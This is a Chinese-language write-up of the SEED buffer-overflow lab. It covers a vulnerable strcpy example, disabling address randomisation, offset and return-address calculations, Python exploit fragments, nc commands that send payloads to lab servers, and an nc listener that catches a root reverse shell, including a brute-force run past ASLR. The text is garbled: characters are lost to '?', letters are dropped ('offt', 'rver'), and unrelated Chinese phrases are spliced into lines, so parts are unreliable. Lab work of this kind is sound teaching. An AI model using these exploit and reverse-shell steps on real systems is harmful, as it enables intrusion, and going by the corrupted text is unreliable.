溢出攻擊

SEED（2）-緩沖區溢出攻擊（Buffer-OverflowAttack）

1.漏洞原理

漏洞代碼?例：

#include

voidfoo(char*str)

{

charbuffer[12];

strcpy(buffer,str);

}

intmain()

{

char*str="Thisisdefinitelylongerthan12";

foo(str);

return1;

}

當把str的內容copy到buffer中，由于str的長度?于12，就會造成緩沖區buffer的溢出，str中多出的部分會存放在緩沖區的上?，我們的

?的就是將代碼植?到此處，然后讓函數的returnAddress指向我們存放代碼的地址A來執?code！

A：code的起始地址

Nop：指令為0x90，執?該指令時什么都不做，?直往下執?。(在code與foo()之間填滿Nop，便于找到地址A，returnAddress?旦指

向其中?個Nop，就會執?到code的地址A)

2.實驗準備

進?到/Buffer_Overflow/Labtup/rver-code路徑下，執?：

$make

$makeinstall

$cd..#進?/Labtup?錄

$dcbuild

$dcup

關閉防范機制：memoryrandomization

$ize_va_space=0

1Attack:GettheParameters(獲取參數)

$echohello|nc10.9.0.59090

^C

若執?兩次打印出的結果?致且輸出地址為0xf零基礎學吹笛子 fffxxxx，則說明memoryrandomization已關閉；

ContainerConsole

rver-1-10.9.0.5|Gotaconnectionfrom10.9.0.1

rver-1-10.9.0.5|Startingstack

rver-1-10.9.0.5|Inputsize:6

rver-1-10.9.0.5|FramePointer(ebp)insidebof():0xffffd108

rver-1-10.9.0.5|Buffer'saddressinsidebof():0xffffd098

rver-1-10.9.0.5|====ReturnedProperly====

rver-1-10.9.0.5|Gotaconnectionfrom10.9.0.1

rver-1-10.9.0.5|Startingstack

rver-1-10.9.0.5|Inputsize:6

rver-1-10.9.0.5|FramePointer(ebp)insidebof():0xffffd108

rver-1-10.9.0.5|Buffer'saddressinsidebof():0xffffd098

rver-1-10.9.0.5|====ReturnedProperly====

$cd/Buffer_Overflow/Files

$

然后利?ebp和Bufferaddress計算A的地址(ret)和offt：

ret(A)=0xffffd108+8（min(A)=ebp+8；max(A)=517-len(code)）

offt=0xffffd108-0xffffd098+4=116(?進制)

修改中ret和offt的值并保退出；然后運?：

$

$catbadfile|nc10.9.0.59090

ContainerConsole

rver-1-10.9.0.5|Gotaconnectionfrom10.9.0.1

rver-1-10.9.0.5|Startingstack

rver-1-10.9.0.5|Inputsize:517

rver-1-10.9.0.5|FramePointer(ebp)insidebof():0xffffd428

rver-1-10.9.0.5|Buffer'saddressinsidebof():0xffffd3b8

rver-1-10.9.0.5|(^_^)SUCCESSSUCCESS(^_^)

若出現上?'(^_^)SUCCESSSUCCESS(^_^)'，說明成功！

GetRevereShell

修改?件ret和A的值：

###Puttheshellcodeattheend

content[517-len(shellcode):]=shellcode

#Youneedtofindthecorrectaddress

#Thisshouldbethefirstinstructionyouwanttoreturnto

ret=0xffffd428+40

#Youneedtocalculatetheofft

offt=116

L=4#U4for32-bitaddressand8for64-bitaddress

content[offt:offt+L]=(ret).to_bytes(L,byteorder='little')

##新建?個命令?窗?輸?$nc-lnv7070開啟監聽

在三國左慈 另外?個窗?向rver發送badfile?件

$

$catbadfile|nc10.9.0.59090

監聽窗?輸出以下內容，說明成功獲取RevereShell；

Listeningon0.0.0.07070

Connectionreceivedon10.9.0.5拈花一笑 51582

root@ec5152748270:/bof

#2A右側腹部隱痛 ttack:BufferSizeUnknown

$echohello|nc10.9.0.69090

^C

ContainerConsole

rver-2-10.9.0.6|Gotaconnectionfrom10.9.0.1

rver-2-10.9.0.6|Startingstack

rver-2-10.9.0.6|Inputsize:6

rver-2-10.9.0.6|Buffer'saddressinsidebof():0xffffd368

rver-2-10.9.0.6|====ReturnedProperly====

修改?件ret和S的值:

S：ref的個數=buffersize/4(?個ref為4字節)

ret：BufferAddress+buffersize

###Puttheshellcodeattheendofthebuffer

content[517-len(shellcode):]=shellcode

#Youneedtofindthecorrectaddress

#Thisshouldbethefirstinstructionyouwanttoreturnto

ret=0xffffd368+360

#SpraythebufferwithSnumberofreturnaddress

#YouneedtodecidetheSvalue

S=90

forofftinrange(S):

content[offt*4:offt*4+4]=(ret).to_bytes(4,byteorder='little')

##$

$catbadfile|nc10.9.0.69090

ContainerConsole

rver-2-10.9.0.6|Gotaconnectionfrom10.9.0.1

rver-2-10.9.0.6|Startingstack

rver-2-10.9.0.6|Inputsize:517

rver-2-10.9.0.6|Buffer'saddressinsidebof():0xffffd368

rver-2-10.9.0.6|(^_^)SUCCESSSUCCESS(^_^)

3Attack:64-bitServer

原理：

$echohello|nc10.9.0.79090

^C

ContainerConsole

rver-3-10.9.0.7|Gotaconnectionfrom10.9.0.1

rver-3-10.9.0.7|Startingstack

rver-3-10.9.0.7|Inputsize:517

rver-3-10.9.0.7|FramePointer(rbp)insidebof():0x00007fffffffe2d0

rver-3-10.9.0.7|Buffer'saddressinsidebof():0x00007fffffffe200

修改?件中的start，ret和offt；

start=40

offt=ebp-buffer+8

ret=[buffer，buffer+40]范圍之間任選?個

$

$catbadfile|nc10.9.0.79090

ContainerConsole

rver-3-10.9.0.7|Gotaconnectionfrom10.9.0.1

rver-3-10.9.0.7|Startingstack

rver-3-10.9.0.7|Inputsize:517

rver-3-10.9.0.7|FramePointer(rbp)insidebof():0x00007fffffffe2d0

rver-3-10.9.0.7|Buffer'saddressinsidebof():0x00007fffffffe200

rver-3-10.9.0.7|(^_^)SUCCESSSUCCESS(^_^)

4Attack:Sm舒婷的代表作 allBuffer(64-bit)

$echohello|nc10.9.0.89090

^C

ContainerConsole

rver-4-10.9.0.8|Gotaconnectionfrom10.9.0老師的歌 .1

rver-4-10.9.0.8|Startingstack

rver-4-10.9.0.8|Inputsize:6

rver-4-10.9.0.8|FramePointer(rbp)insidebof():0x00007fffffffe2b0

rver-4-10.9.0.8|Buffer'saddressinsidebof():0x00007fffffffe250

rver-4-10.9.0.8|====ReturnedProperly====

修改?件

ret=rbp+1200

$

$catbadfile|nc10.9.0.89090

ContainerConsole

rver-4-10.9.0.8|Gotaconnectionfrom10.9.0.1

rver-4-10.9.0.8|Startingstack

rver-4-10.9.0.8|Inputsize:517

rver-4-10.9.0.8|FramePointer(rbp)insidebof():0x00007fffffffe2b0

rver-4-10.9.0.8|Buffer'saddressinsidebof():0x00007fffffffe250

rver-4-10.9.0.8|(^_^)SUCCESSSUCCESS(^_^)

開啟防范機制

$ize_va_space=2

執?$nc-lnv7070開啟監

Listeningon0.0.0.07070

修改exploit為revershell

新建?個命令?窗?：

$

$chmodu+

$./

我這?總共?時8分12秒：

8minutesand12condlapd.

Theprogramhasbeenrunning27296timessofar.

8minutesand12condlapd.

Theprogramhasbeenrunning27297timessofar.

成功后監聽窗?會返回shell

Connectionreceivedon10.9.0.551372

root@ec5152748270:/bof#